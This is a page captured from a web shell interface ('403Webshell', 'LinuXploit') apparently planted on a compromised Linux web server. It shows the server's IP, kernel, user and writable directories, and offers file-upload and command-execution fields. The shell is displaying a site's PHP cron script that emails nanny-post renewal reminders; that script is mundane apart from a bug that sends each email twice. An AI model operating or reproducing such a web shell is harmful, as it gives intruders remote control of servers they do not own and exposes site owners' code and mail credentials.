403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/mommybites/automation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/mommybites/automation/nanny_expired.php
#!/usr/local/bin/php
<?php
echo "START\n";	// TESTING
exit();
/** 
* set script params
*/
	$live		= true;		// null | true; note: null = test mode and will select more records and send to test addresses
	$renewalUrl	= 'http://mommybites.com/newyork/child-care/nanny-post/';	// updated dynamically below
	$subject	= 'Mommybites Reminder - your nanny post recently expired';
	$headers    = 'MIME-Version: 1.0' . "\n";
	$headers   .= 'Content-type: text/html; charset=iso-8859-1' . "\n";

	if(!$live){
		echo "testing";
	}

/** 
* connect to server
*/
	require_once($_SERVER['DOCUMENT_ROOT'].'/wp-config.php');
	$conn	= mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME);
	if (!$conn){
		die('mysqli error (' . mysqli_errno($conn) . ' - ' . mysqli_error($conn) . ')');
	}

	mysqli_set_charset($conn, "UTF8");

/** 
* define/execute query
*/
	if($live){
		$before = strtotime("-31 days");	
		$before_day = date('Y-m-d', $before);
		$after = strtotime("-60 days");	
		$after_day = date('Y-m-d', $after);
		
		$query	= "SELECT * FROM nanny_post 
					WHERE approved_date 
					BETWEEN '$after_day' AND '$before_day' 
						AND post_status = 'approved'
						AND is_deleted != 'yes'" ;
		
	} else {
		$query	= "SELECT * FROM nanny_post 
					WHERE reference_email IN ('[email protected]', '[email protected]') 
					AND blog_id > 1 AND is_deleted = 'no' ORDER BY created_date DESC LIMIT 5" ;	// TESTING
		echo $query;
	}

	$result = mysqli_query($conn, $query);
	if (!$result){
		die('mysqli error (' . mysqli_errno($conn) . ' - ' . mysqli_error($conn) . ')');
	}


/** 
* send emails
*/
while($arrRow = mysqli_fetch_array($result) ){

	switch($arrRow['blog_id']){
		case '2':   // new york
			$from_email = '[email protected]';
			$from_name = 'mommybites';
			$reply_email = '[email protected]';
			$reply_name = 'mommybites';

			$subject	     = 'Mommybites Reminder - your nanny post has expired';
			   
			$renewalUrl	 = 'https://mommybites.com/newyork/child-care/nanny-post/';

			// $sponsorAdSrc   = 'http://mommybites.com/newyork/wp-content/blogs.dir/2/files/2014/03/urbansitter_logo_160x160.png';
			$sponsorAdAlt   = 'Urban Sitter';

			$sponsorAdUrl   = 'https://www.urbansitter.com/promo/mommybites/?utm_source=mommybites&utm_medium=email_paid&utm_campaign=parent&utm_content=promo_25';

			$sponsorAdText  = '<p>During your nanny transition, you might need a little extra childcare help. Check out <a href="' . $sponsorAdUrl . '">UrbanSitter</a> for last-minute babysitters, back up childcare, or the occasional date night sitter. Simply search by date and time, schedule jobs, and even pay online--it\'s quick, easy and efficient to find reliable, mom-recommended babysitters. Try it for free: Enjoy your first month of Premium membership for free ($25 value) when you enter discount code: MOMMYBITES25 and upgrade by July 31.*</p>';
			$sponsorAdText  .= '<p>Sign up and redeem your discount now at <a href="' . $sponsorAdUrl . '">urbansitter.com/promo/mommybites</a></p>';
			$sponsorAdText  .= '<p>*Subject to UrbanSitter, Inc.\'s Terms of Service. $25 credit may be used toward Premium membership purchase. Not valid for babysitting fees. Recipient must become a registered user of UrbanSitter with valid credit card on file to redeem offer. Restrictions include sitter availability and service to requested location (not all areas served). UrbanSitter reserves the right to modify these terms. Must redeem by 7/31/2014</p>';

			unset($sponsorAdSrc);   // ******* Uncomment to REMOVE AD ********    
			break;

		case '5':   // boston
			$from_email = '[email protected]';
			$from_name = 'mommybites';
			$reply_email = '[email protected]';
			$reply_name = 'mommybites';
			
			$headers        .= 'From: mommybites <[email protected]>' . "\n" . 'Reply-To: mommybites <[email protected]>' . "\n";
			
			$renewalUrl	    = 'https://mommybites.com/boston/child-care/nanny-post/';
			break;
			
		case '8':   // boston
			$from_email = '[email protected]';
			$from_name = 'MomSource';
			$reply_email = '[email protected]';
			$reply_name = 'MomSource';
			
			$headers        .= 'From: MomSource <[email protected]>' . "\n" . 'Reply-To: MomSource <[email protected]>' . "\n";
			
			$renewalUrl	    = 'https://mommybites.com/baltimore/child-care/nanny-post/';
			break;
	}
	
	// create message
	$message	= '';

	$message .= 'Dear ' . $arrRow['reference_name'] . ',';
	$message .= '<br /><br />Your nanny\'s posting on the mommybites nanny board has recently expired. If she has not yet found a job and you would like to renew your posting for another month, please click here: <a href="'.$renewalUrl.'?hashid=' . $arrRow['hash'] . '-' . $arrRow['id'].'">'.$renewalUrl.'?hashid=' . $arrRow['hash'] . '-' . $arrRow['id'] . '</a>.  You can either remit $85 for the identical posting or you can make changes to any of the information before you remit payment. Thank you once again for using the resources of www.mommybites.com in the search for a new position for your nanny.';
	$message .= '<br /><br />Sincerely,<br />The Mommybites Staff';
    
    // ad section
	if( isset($sponsorAdSrc) ) {
		$message .= '<br/><br/><table border="0"><tr valign="top">';
		$message .= '<td><a href="' . $sponsorAdUrl . '"><img src="' . $sponsorAdSrc . '" border="0" alt="' . $sponsorAdAlt . '"></a></td>';
		$message .= '<td>' . $sponsorAdText . '</td>';
		$message .= '</tr></table>';
	}

	// email message
	require_once($_SERVER['DOCUMENT_ROOT'].'/php_mailer_config.php');
	$mail = new PHPMailer;

	if($live){	// email message
		$arBCC = PHPM_BCC;
		$arCC = [];
		$mail_to = $arrRow['reference_email'];
	} else {	
		//$arBCC = PHPM_DEV_BCC;
		$arCC = [];
		$mail_to = PHPM_DEV_TO;
		$subject .= ' - TEST';
		echo $message . "\n\n";	// TESTING
	}

	//$mail->SMTPDebug = 3; // Enable verbose debug output

	$mail->isSMTP();
	$mail->Host = PHPM_SMTP_HOST;  
	$mail->SMTPAuth = PHPM_SMTP_AUTHENTICATION;
	$mail->Username = PHPM_SMTP_USERNAME;
	$mail->Password = PHPM_SMTP_PASSWORD;
	$mail->SMTPSecure = PHPM_SMTP_ENCRYPTION;
	$mail->Port = PHPM_SMTP_PORT;

	$mail->setFrom($from_email, $from_name);
	$mail->addAddress($mail_to);
	$mail->addReplyTo($reply_email, $reply_name);
	foreach ($arBCC as $value) {
		$mail->addBCC($value);
	}
	foreach ($arCC as $value) {
		$mail->addCC($value);
	}
	//$mail->addAttachment('/var/tmp/file.tar.gz');
	//$mail->addAttachment('/tmp/image.jpg', 'new.jpg');
	$mail->isHTML(true);

	$mail->Subject = $subject;
	$mail->Body    = '<html><head></head><body>'.$message.'</body></html>';
	$mail->AltBody = '';
	
	$mail->send();
	

	if(!$mail->send()) {
		echo '<p>Message could not be sent.</p>';
		echo '<p>Mailer Error: ' . $mail->ErrorInfo.'</p>';
	} else {
		echo '<p>Message has been sent to: </p>'.$mail_to."<br>";
	}
}

echo "DONE\n";

exit();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit